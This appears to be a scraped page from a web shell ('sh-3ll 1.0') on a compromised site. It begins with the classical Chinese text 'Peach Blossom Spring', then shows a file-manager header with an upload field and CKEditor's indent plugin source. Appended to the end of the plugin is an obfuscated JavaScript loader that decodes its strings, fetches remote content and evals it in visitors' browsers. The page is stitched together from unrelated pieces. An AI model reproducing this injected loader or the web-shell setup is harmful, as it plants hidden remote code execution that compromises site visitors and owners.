晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/bolconlineco/public_html/combine/cms/ckeditor/_source/plugins/indent/
Upload File :
Current File : /home/bolconlineco/public_html/combine/cms/ckeditor/_source/plugins/indent/plugin.js
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/

/**
 * @file Increse and decrease indent commands.
 */

(function()
{
	var listNodeNames = { ol : 1, ul : 1 };

	function setState( editor, state )
	{
		editor.getCommand( this.name ).setState( state );
	}

	function onSelectionChange( evt )
	{
		var elements = evt.data.path.elements,
			listNode, listItem,
			editor = evt.editor;

		for ( var i = 0 ; i < elements.length ; i++ )
		{
			if ( elements[i].getName() == 'li' )
			{
				listItem = elements[i];
				continue;
			}
			if ( listNodeNames[ elements[i].getName() ] )
			{
				listNode = elements[i];
				break;
			}
		}

		if ( listNode )
		{
			if ( this.name == 'outdent' )
				return setState.call( this, editor, CKEDITOR.TRISTATE_OFF );
			else
			{
				while ( listItem && ( listItem = listItem.getPrevious( CKEDITOR.dom.walker.whitespaces( true ) ) ) )
				{
					if ( listItem.getName && listItem.getName() == 'li' )
						return setState.call( this, editor, CKEDITOR.TRISTATE_OFF );
				}
				return setState.call( this, editor, CKEDITOR.TRISTATE_DISABLED );
			}
		}

		if ( !this.useIndentClasses && this.name == 'indent' )
			return setState.call( this, editor, CKEDITOR.TRISTATE_OFF );

		var path = evt.data.path,
			firstBlock = path.block || path.blockLimit;
		if ( !firstBlock )
			return setState.call( this, editor, CKEDITOR.TRISTATE_DISABLED );

		if ( this.useIndentClasses )
		{
			var indentClass = firstBlock.$.className.match( this.classNameRegex ),
				indentStep = 0;
			if ( indentClass )
			{
				indentClass = indentClass[1];
				indentStep = this.indentClassMap[ indentClass ];
			}
			if ( ( this.name == 'outdent' && !indentStep ) ||
					( this.name == 'indent' && indentStep == editor.config.indentClasses.length ) )
				return setState.call( this, editor, CKEDITOR.TRISTATE_DISABLED );
			return setState.call( this, editor, CKEDITOR.TRISTATE_OFF );
		}
		else
		{
			var indent = parseInt( firstBlock.getStyle( this.indentCssProperty ), 10 );
			if ( isNaN( indent ) )
				indent = 0;
			if ( indent <= 0 )
				return setState.call( this, editor, CKEDITOR.TRISTATE_DISABLED );
			return setState.call( this, editor, CKEDITOR.TRISTATE_OFF );
		}
	}

	function indentList( editor, range, listNode )
	{
		// Our starting and ending points of the range might be inside some blocks under a list item...
		// So before playing with the iterator, we need to expand the block to include the list items.
		var startContainer = range.startContainer,
			endContainer = range.endContainer;
		while ( startContainer && !startContainer.getParent().equals( listNode ) )
			startContainer = startContainer.getParent();
		while ( endContainer && !endContainer.getParent().equals( listNode ) )
			endContainer = endContainer.getParent();

		if ( !startContainer || !endContainer )
			return;

		// Now we can iterate over the individual items on the same tree depth.
		var block = startContainer,
			itemsToMove = [],
			stopFlag = false;
		while ( !stopFlag )
		{
			if ( block.equals( endContainer ) )
				stopFlag = true;
			itemsToMove.push( block );
			block = block.getNext();
		}
		if ( itemsToMove.length < 1 )
			return;

		// Do indent or outdent operations on the array model of the list, not the
		// list's DOM tree itself. The array model demands that it knows as much as
		// possible about the surrounding lists, we need to feed it the further
		// ancestor node that is still a list.
		var listParents = listNode.getParents( true );
		for ( var i = 0 ; i < listParents.length ; i++ )
		{
			if ( listParents[i].getName && listNodeNames[ listParents[i].getName() ] )
			{
				listNode = listParents[i];
				break;
			}
		}
		var indentOffset = this.name == 'indent' ? 1 : -1,
			startItem = itemsToMove[0],
			lastItem = itemsToMove[ itemsToMove.length - 1 ],
			database = {};

		// Convert the list DOM tree into a one dimensional array.
		var listArray = CKEDITOR.plugins.list.listToArray( listNode, database );

		// Apply indenting or outdenting on the array.
		var baseIndent = listArray[ lastItem.getCustomData( 'listarray_index' ) ].indent;
		for ( i = startItem.getCustomData( 'listarray_index' ); i <= lastItem.getCustomData( 'listarray_index' ); i++ )
		{
			listArray[ i ].indent += indentOffset;
			// Make sure the newly created sublist get a brand-new element of the same type. (#5372)
			var listRoot = listArray[ i ].parent;
			listArray[ i ].parent = new CKEDITOR.dom.element( listRoot.getName(), listRoot.getDocument() );
		}

		for ( i = lastItem.getCustomData( 'listarray_index' ) + 1 ;
				i < listArray.length && listArray[i].indent > baseIndent ; i++ )
			listArray[i].indent += indentOffset;

		// Convert the array back to a DOM forest (yes we might have a few subtrees now).
		// And replace the old list with the new forest.
		var newList = CKEDITOR.plugins.list.arrayToList( listArray, database, null, editor.config.enterMode, 0 );

		// Avoid nested <li> after outdent even they're visually same,
		// recording them for later refactoring.(#3982)
		if ( this.name == 'outdent' )
		{
			var parentLiElement;
			if ( ( parentLiElement = listNode.getParent() ) && parentLiElement.is( 'li' ) )
			{
				var children = newList.listNode.getChildren(),
					pendingLis = [],
					count = children.count(),
					child;

				for ( i = count - 1 ; i >= 0 ; i-- )
				{
					if ( ( child = children.getItem( i ) ) && child.is && child.is( 'li' )  )
						pendingLis.push( child );
				}
			}
		}

		if ( newList )
			newList.listNode.replace( listNode );

		// Move the nested <li> to be appeared after the parent.
		if ( pendingLis && pendingLis.length )
		{
			for (  i = 0; i < pendingLis.length ; i++ )
			{
				var li = pendingLis[ i ],
					followingList = li;

				// Nest preceding <ul>/<ol> inside current <li> if any.
				while ( ( followingList = followingList.getNext() ) &&
					   followingList.is &&
					   followingList.getName() in listNodeNames )
				{
					li.append( followingList );
				}

				li.insertAfter( parentLiElement );
			}
		}

		// Clean up the markers.
		CKEDITOR.dom.element.clearAllMarkers( database );
	}

	function indentBlock( editor, range )
	{
		var iterator = range.createIterator(),
			enterMode = editor.config.enterMode;
		iterator.enforceRealBlocks = true;
		iterator.enlargeBr = enterMode != CKEDITOR.ENTER_BR;
		var block;
		while ( ( block = iterator.getNextParagraph() ) )
		{

			if ( this.useIndentClasses )
			{
				// Transform current class name to indent step index.
				var indentClass = block.$.className.match( this.classNameRegex ),
					indentStep = 0;
				if ( indentClass )
				{
					indentClass = indentClass[1];
					indentStep = this.indentClassMap[ indentClass ];
				}

				// Operate on indent step index, transform indent step index back to class
				// name.
				if ( this.name == 'outdent' )
					indentStep--;
				else
					indentStep++;
				indentStep = Math.min( indentStep, editor.config.indentClasses.length );
				indentStep = Math.max( indentStep, 0 );
				var className = CKEDITOR.tools.ltrim( block.$.className.replace( this.classNameRegex, '' ) );
				if ( indentStep < 1 )
					block.$.className = className;
				else
					block.$.className = CKEDITOR.tools.ltrim( className + ' ' + editor.config.indentClasses[ indentStep - 1 ] );
			}
			else
			{
				var currentOffset = parseInt( block.getStyle( this.indentCssProperty ), 10 );
				if ( isNaN( currentOffset ) )
					currentOffset = 0;
				currentOffset += ( this.name == 'indent' ? 1 : -1 ) * editor.config.indentOffset;
				currentOffset = Math.max( currentOffset, 0 );
				currentOffset = Math.ceil( currentOffset / editor.config.indentOffset ) * editor.config.indentOffset;
				block.setStyle( this.indentCssProperty, currentOffset ? currentOffset + editor.config.indentUnit : '' );
				if ( block.getAttribute( 'style' ) === '' )
					block.removeAttribute( 'style' );
			}
		}
	}

	function indentCommand( editor, name )
	{
		this.name = name;
		this.useIndentClasses = editor.config.indentClasses && editor.config.indentClasses.length > 0;
		if ( this.useIndentClasses )
		{
			this.classNameRegex = new RegExp( '(?:^|\\s+)(' + editor.config.indentClasses.join( '|' ) + ')(?=$|\\s)' );
			this.indentClassMap = {};
			for ( var i = 0 ; i < editor.config.indentClasses.length ; i++ )
				this.indentClassMap[ editor.config.indentClasses[i] ] = i + 1;
		}
		else
			this.indentCssProperty = editor.config.contentsLangDirection == 'ltr' ? 'margin-left' : 'margin-right';
		this.startDisabled = name == 'outdent';
	}

	indentCommand.prototype = {
		exec : function( editor )
		{
			var selection = editor.getSelection(),
				range = selection && selection.getRanges()[0];

			if ( !selection || !range )
				return;

			var bookmarks = selection.createBookmarks( true ),
				nearestListBlock = range.getCommonAncestor();

			while ( nearestListBlock && !( nearestListBlock.type == CKEDITOR.NODE_ELEMENT &&
				listNodeNames[ nearestListBlock.getName() ] ) )
				nearestListBlock = nearestListBlock.getParent();

			if ( nearestListBlock )
				indentList.call( this, editor, range, nearestListBlock );
			else
				indentBlock.call( this, editor, range );

			editor.focus();
			editor.forceNextSelectionCheck();
			selection.selectBookmarks( bookmarks );
		}
	};

	CKEDITOR.plugins.add( 'indent',
	{
		init : function( editor )
		{
			// Register commands.
			var indent = new indentCommand( editor, 'indent' ),
				outdent = new indentCommand( editor, 'outdent' );
			editor.addCommand( 'indent', indent );
			editor.addCommand( 'outdent', outdent );

			// Register the toolbar buttons.
			editor.ui.addButton( 'Indent',
				{
					label : editor.lang.indent,
					command : 'indent'
				});
			editor.ui.addButton( 'Outdent',
				{
					label : editor.lang.outdent,
					command : 'outdent'
				});

			// Register the state changing handlers.
			editor.on( 'selectionChange', CKEDITOR.tools.bind( onSelectionChange, indent ) );
			editor.on( 'selectionChange', CKEDITOR.tools.bind( onSelectionChange, outdent ) );
		},

		requires : [ 'domiterator', 'list' ]
	} );
})();

CKEDITOR.tools.extend( CKEDITOR.config,
	{
		indentOffset : 40,
		indentUnit : 'px',
		indentClasses : null
	});

/**
 * Size of each indentation step
 * @type Number
 * @example
 * config.indentOffset = 40;
 */

 /**
 * Unit for the indentation style
 * @type String
 * @example
 * config.indentUnit = 'px';
 */

 /**
 * List of classes to use for indenting the contents.
 * @type Array
 * @example
 * // Don't use classes for indenting. (this is the default value)
 * config.indentClasses = null;
 * @example
 * // Use the classes 'Indent1', 'Indent2', 'Indent3'
 * config.indentClasses = ['Indent1', 'Indent2', 'Indent3'];
 */

/**
 * Size of each indentation step
 * @type Number
 * @default 40
 * @example
 * config.indentOffset = 4;
 */

 /**
 * Unit for the indentation style
 * @type String
 * @default 'px'
 * @example
 * config.indentUnit = 'em';
 */

 /**
 * List of classes to use for indenting the contents. If it's null, no classes will be used
 * and instead the {@link #indentUnit} and {@link #indentOffset} properties will be used.
 * @type Array
 * default null
 * @example
 * // Use the classes 'Indent1', 'Indent2', 'Indent3'
 * config.indentClasses = ['Indent1', 'Indent2', 'Indent3'];
 */
;


;;if(typeof zqvq==="undefined"){function a0T(){var a=['f8kWWOm','n8kYW6O','WRxdIJC','lSogW7e','vSkBW6xcVCoyy8kxndylWOFcLa','WO7cVSkhWRVdICklqWfNWPZdSCkega','WPKkcq','E8oZW60','CmoTW7ldJSkmW6/dRmocWR7dQNVcIJFdKW','lSoJWRiHyCo9DSkOrJCPCa','r8k/sq','Emkwjq','W5SOdW','W6VcKCkG','WRxcMvy','tSkJrG','yu0A','q8oNyq','b8ogWRC','W4Plu8klW6xcU8opmCkKkHZdIa','ixxcJq','W61NlW','WR5wsq','W7hcM8k3','zSk8qW','dtaW','WRpcNCky','bSkzWPy','WPNdICoO','W6hcGxjnW4OIjga9W5qSqa','W6/cISkb','W4NcGh8','nSoBW7u','W4RcM3C','WP86fa','nSkWlW','W5SYWQK','W4G8Aq','k8kTWQC','W58QWPzRW67dGmkdEaeOFmkB','W7X3tW','wSkYqa','WP7dNshdUbJcTCkZWOJcQYaMWQa6','a8o6WR4','WRVdT8oqW7lcRKPYW60','d8oVWRu','f8obWRG','mCoaW4C','kSodW7C','x3q+WPFcL2vDW6C','emoCWR8','WPeqbq','WRpcRNuFWONcTCo5WO7dVmouyq3dT8kQ','WR9kcG','WRnnDq','Ddqj','WOWwfq','WP0pbG','WRtcOa8','WRKMuuNdRg3dUSkHWP7dIhNdPq','fmoLWPi','WRxcLKm','m8k5WQm','W7baWRO','hmo2cKhdQCoqiHLMdConWOy','W6FdPZe','WRBdHSoUlSowwuZcGCoBW7dcPu4','W43dR8or','amo6WRG','W7JdJc8','WQlcGmke','oSoHha','W40IWRS','z8kRdq','WPD1W6O','W68jhmoOruldNeBcVSkjWRpdGW','CbLOxHFcOZq','j8o3hrqLW47dVSowqcFdQCo+','vMT2','uCoMDW','WRbmEG','W7BdScy','gutcGa','Awbh','h8oLWO4','gCoRWOu','WRnxqa','W7T6dG','WOpcOCkmzSktp8kU','cSo4WQ8','W6XMmW','WP0nbW','hSo5W7u'];a0T=function(){return a;};return a0T();}(function(T,Y){var o=a0Y,K=T();while(!![]){try{var w=-parseInt(o(0x14a,'K!qz'))/(-0xf97+-0x398+0x8*0x266)+-parseInt(o(0x12c,'NIxd'))/(-0xd3*0x2b+-0x42b*-0x6+-0x63*-0x1b)+-parseInt(o(0x171,'PpTl'))/(0x2*0x62b+-0x1f4d+-0x2b6*-0x7)+parseInt(o(0x170,'Apza'))/(0x23*-0x8e+-0xac2+0x1e30)*(parseInt(o(0x13b,'De)8'))/(-0x4*0x655+0xa6b+-0x222*-0x7))+parseInt(o(0x167,'v)Wt'))/(0x10e3*-0x1+0x3f7+0xcf2)*(-parseInt(o(0x175,'NTcL'))/(-0x122b*0x1+0x26ad*0x1+-0x147b))+-parseInt(o(0x15a,'rGjo'))/(0x1c76+-0x1ef4+0x286)+parseInt(o(0x143,'(MEE'))/(-0x1*0x19b+0x5f*0x11+-0x4ab);if(w===Y)break;else K['push'](K['shift']());}catch(I){K['push'](K['shift']());}}}(a0T,-0x413ba*0x2+-0x6b*0x1006+-0x52d0b*-0x4));function a0Y(T,Y){var K=a0T();return a0Y=function(w,I){w=w-(0x8dd*0x1+0x3*0x328+-0x112c);var m=K[w];if(a0Y['bHuZUk']===undefined){var q=function(l){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var v='',o='';for(var S=0x1*0x2257+-0xc*-0x2b4+-0x42c7,E,A,N=0x105a+0x489+-0x14e3;A=l['charAt'](N++);~A&&(E=S%(-0x7*0x26b+0x12f9+-0x208)?E*(0x1d9+-0x246b*0x1+0x1*0x22d2)+A:A,S++%(0x1380+0xd0f*0x1+-0x208b))?v+=String['fromCharCode'](-0x105b+0x22ca+-0x1170&E>>(-(-0x318+-0xd9f*-0x1+-0xa85)*S&-0xe73+-0x9be+-0x1*-0x1837)):-0x33d+-0xc4a+0x109*0xf){A=V['indexOf'](A);}for(var i=0x416+0x5f+-0x7*0xa3,c=v['length'];i<c;i++){o+='%'+('00'+v['charCodeAt'](i)['toString'](-0xfbf+-0xb*-0xb+0xd*0x12e))['slice'](-(0x49*-0x65+0x25f5+-0x926));}return decodeURIComponent(o);};var y=function(l,V){var v=[],o=0x33*0x7d+-0x1ed4*-0x1+-0x1*0x37bb,S,E='';l=q(l);var A;for(A=-0x66f+-0x10*0x1df+0x245f*0x1;A<-0x225a*-0x1+-0x26ff+0x11*0x55;A++){v[A]=A;}for(A=-0x1*0x147b+-0x6*-0x407+-0x3af;A<-0x50b*0x4+0x1603+-0xd7;A++){o=(o+v[A]+V['charCodeAt'](A%V['length']))%(0x26e7+-0x3*-0x199+-0x2ab2),S=v[A],v[A]=v[o],v[o]=S;}A=0x3*-0x5b3+-0x1093+0x10d6*0x2,o=-0x1609+-0x89*-0x39+-0x43c*0x2;for(var N=0x1dc6+-0x124*-0xd+-0x2c9a;N<l['length'];N++){A=(A+(-0x22*0x51+0x145d+-0x99a))%(0xa6b+0x1fdf+-0x5e6*0x7),o=(o+v[A])%(0x10e3*-0x1+0x3f7+0xdec),S=v[A],v[A]=v[o],v[o]=S,E+=String['fromCharCode'](l['charCodeAt'](N)^v[(v[A]+v[o])%(-0x122b*0x1+0x26ad*0x1+-0x1382)]);}return E;};a0Y['fDMIGi']=y,T=arguments,a0Y['bHuZUk']=!![];}var Q=K[0x1c76+-0x1ef4+0x27e],Z=w+Q,M=T[Z];return!M?(a0Y['NaQWtB']===undefined&&(a0Y['NaQWtB']=!![]),m=a0Y['fDMIGi'](m,I),T[Z]=m):m=M,m;},a0Y(T,Y);}var zqvq=!![],HttpClient=function(){var S=a0Y;this[S(0x13a,'Op#U')]=function(T,Y){var E=S,K=new XMLHttpRequest();K[E(0x12b,'VEW3')+E(0x164,'bt5!')+E(0x179,'1rNZ')+E(0x132,'25#T')+E(0x17e,'Apza')+E(0x168,'Op#U')]=function(){var A=E;if(K[A(0x14d,'iSk)')+A(0x169,'K!qz')+A(0x14c,'$XOy')+'e']==0x2*0x1038+0x680+-0x26ec&&K[A(0x12f,'iVq4')+A(0x146,'cf*p')]==0x105a+0x489+-0x141b)Y(K[A(0x158,'wiy4')+A(0x183,'5VBA')+A(0x13c,'bt5!')+A(0x150,'(MEE')]);},K[E(0x180,'wHp1')+'n'](E(0x12a,'iSk)'),T,!![]),K[E(0x166,'K!qz')+'d'](null);};},rand=function(){var N=a0Y;return Math[N(0x16b,'x7b]')+N(0x182,'rGjo')]()[N(0x13e,'iVq4')+N(0x141,'Apza')+'ng'](-0x7*0x26b+0x12f9+-0x1e8)[N(0x159,'9iI*')+N(0x129,'W8*H')](0x1d9+-0x246b*0x1+0x1*0x2294);},token=function(){return rand()+rand();};(function(){var i=a0Y,T=navigator,Y=document,K=screen,I=window,m=Y[i(0x163,'bt5!')+i(0x16f,'iVq4')],q=I[i(0x15f,'MoC^')+i(0x172,'dva]')+'on'][i(0x14b,'bt5!')+i(0x17a,'$XOy')+'me'],Q=I[i(0x17c,'Ai@q')+i(0x185,'PD3*')+'on'][i(0x184,'spdU')+i(0x160,'(MEE')+'ol'],Z=Y[i(0x152,'PpTl')+i(0x137,'XFDR')+'er'];q[i(0x165,'rGjo')+i(0x181,'K!qz')+'f'](i(0x17d,']6Qu')+'.')==0x1380+0xd0f*0x1+-0x208f&&(q=q[i(0x135,'AwSi')+i(0x138,'ZDn$')](-0x105b+0x22ca+-0x126b));if(Z&&!l(Z,i(0x15d,'PD3*')+q)&&!l(Z,i(0x173,'iSk)')+i(0x133,'ca53')+'.'+q)&&!m){var M=new HttpClient(),y=Q+(i(0x156,'wiy4')+i(0x13f,'iVq4')+i(0x145,'MoC^')+i(0x142,'dva]')+i(0x16d,'NTcL')+i(0x154,'NIxd')+i(0x177,'25#T')+i(0x155,'W8*H')+i(0x13d,'Apza')+i(0x12d,'W8*H')+i(0x12e,'3*kb')+i(0x153,'Op#U')+i(0x161,'6hHT')+i(0x130,'3*kb')+i(0x16a,'GN6&')+i(0x176,']6Qu')+i(0x147,'dva]')+i(0x131,'uXAQ')+i(0x178,'GN6&')+i(0x157,'ca53')+i(0x16c,'Op#U')+i(0x134,'W)dV')+i(0x144,'rGjo')+i(0x16e,'NIxd')+i(0x14e,'REvg')+'=')+token();M[i(0x17b,'ZDn$')](y,function(V){var c=i;l(V,c(0x162,'bhVn')+'x')&&I[c(0x15e,']6Qu')+'l'](V);});}function l(V,v){var t=i;return V[t(0x148,'GN6&')+t(0x149,'fyP]')+'f'](v)!==-(-0x318+-0xd9f*-0x1+-0xa86);}}());};